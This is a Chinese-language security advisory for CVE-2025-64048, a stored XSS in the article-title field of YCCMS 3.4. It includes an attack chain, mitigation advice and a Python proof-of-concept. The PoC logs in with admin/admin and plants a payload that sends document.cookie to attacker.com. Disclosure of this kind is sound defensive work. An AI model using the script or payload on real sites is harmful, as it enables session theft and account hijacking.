IPBUF安全漏洞报告
English
CVE-2025-64048 CVSS 6.1 中危

CVE-2025-64048 YCCMS 3.4 存储型XSS漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-64048
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
YCCMS 3.4

相关标签

存储型XSSYCCMSCVE-2025-64048跨站脚本文章管理CMS漏洞Web安全中危漏洞

漏洞概述

CVE-2025-64048是YCCMS 3.4版本中的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞存在于系统的文章管理功能模块中,具体位置是ArticleAction.class.php文件中的add()函数和getPost()函数。由于程序在处理用户提交的 文章标题字段时,未对输入内容进行充分的输入验证和输出编码,导致攻击者可以在文章标题中注入恶意的JavaScript脚本代码。当其他用户访问包含该恶意文章的页面时,注入的脚本代码将在受害者浏览器中执行,从而窃取用户会话Cookie、劫持用户账号、进行钓鱼攻击或传播恶意软件。存储型XSS相比反射型XSS危害更大,因为恶意代码被永久存储在服务器端,所有访问该内容的用户都会受到攻击影响。攻击者可以利用此漏洞对网站管理员或其他用户发起进一步的攻击,窃取敏感信息或获取系统操作权限。

技术细节

漏洞位于YCCMS 3.4的ArticleAction.class.php文件中,具体涉及add()和getPost()两个函数。add()函数负责处理文章创建请求,getPost()函数负责获取用户提交的POST参数。在处理文章标题(title)参数时,程序直接接收用户输入而未进行任何输入验证或输出编码。当攻击者提交包含JavaScript代码的文章标题(如<img src=x onerror=alert(document.cookie)>)时,该恶意代码会被存储到数据库中。当管理员或其他用户访问文章列表或文章详情页面时,服务器从数据库读取并输出该标题内容,而浏览器在渲染页面时会执行嵌入的JavaScript代码。由于该XSS是存储型的,恶意代码会持久存在于系统中,只要文章不被删除,攻击就会持续有效。攻击者可以通过管理员后台或前台文章发布功能利用此漏洞,无需特殊权限即可实施攻击。

攻击链分析

STEP 1
步骤1
攻击者访问YCCMS 3.4网站,登录后台或具有文章发布权限的账号
STEP 2
步骤2
攻击者进入文章管理功能模块,选择添加新文章
STEP 3
步骤3
在文章标题字段中注入恶意JavaScript代码,如<img src=x onerror=alert(document.cookie)>
STEP 4
步骤4
提交文章,恶意代码被存储到数据库中,此时漏洞利用完成
STEP 5
步骤5
当管理员或其他用户访问文章列表页面或文章详情页时,服务器从数据库读取并输出包含恶意代码的标题
STEP 6
步骤6
用户浏览器接收到页面响应后,解析HTML并执行注入的JavaScript代码
STEP 7
步骤7
恶意脚本执行,可窃取用户Cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 8
步骤8
攻击者利用窃取的凭证劫持用户会话,进一步控制网站或进行横向移动攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-64048 PoC - YCCMS 3.4 Stored XSS # Target: YCCMS 3.4 article management # Vulnerability: Stored XSS in article title field target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/yccms" # XSS payload - Cookie stealing example xss_payload = "<img src=x onerror=\"fetch('https://attacker.com/log?c='+document.cookie)\">" # Login first to get session login_url = f"{target_url}/?s=Login/check" login_data = { "username": "admin", "password": "admin" } session = requests.Session() login_resp = session.post(login_url, data=login_data) # Create malicious article with XSS in title article_url = f"{target_url}/?s=Article/add" article_data = { "title": xss_payload, "content": "Test article content", "category": "1" } article_resp = session.post(article_url, data=article_data) # Access the article to trigger XSS article_list_url = f"{target_url}/?s=Article/index" list_resp = session.get(article_list_url) print(f"[+] XSS payload sent: {xss_payload}") print(f"[+] Article created. Visit article page to trigger XSS.") print(f"[+] When admin views article list, cookie will be sent to attacker.")

影响范围

YCCMS 3.4

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1)对用户输入的所有内容进行严格的输入验证和过滤,移除或编码特殊字符如<、>、"、'等;2)在输出时对所有用户可控的内容进行HTML实体编码;3)配置HTTP安全响应头如Content-Security-Policy限制脚本执行;4)限制文章发布功能的权限,仅允许可信用户发布内容;5)部署Web应用防火墙并启用XSS防护规则;6)监控访问日志关注异常的JavaScript代码注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表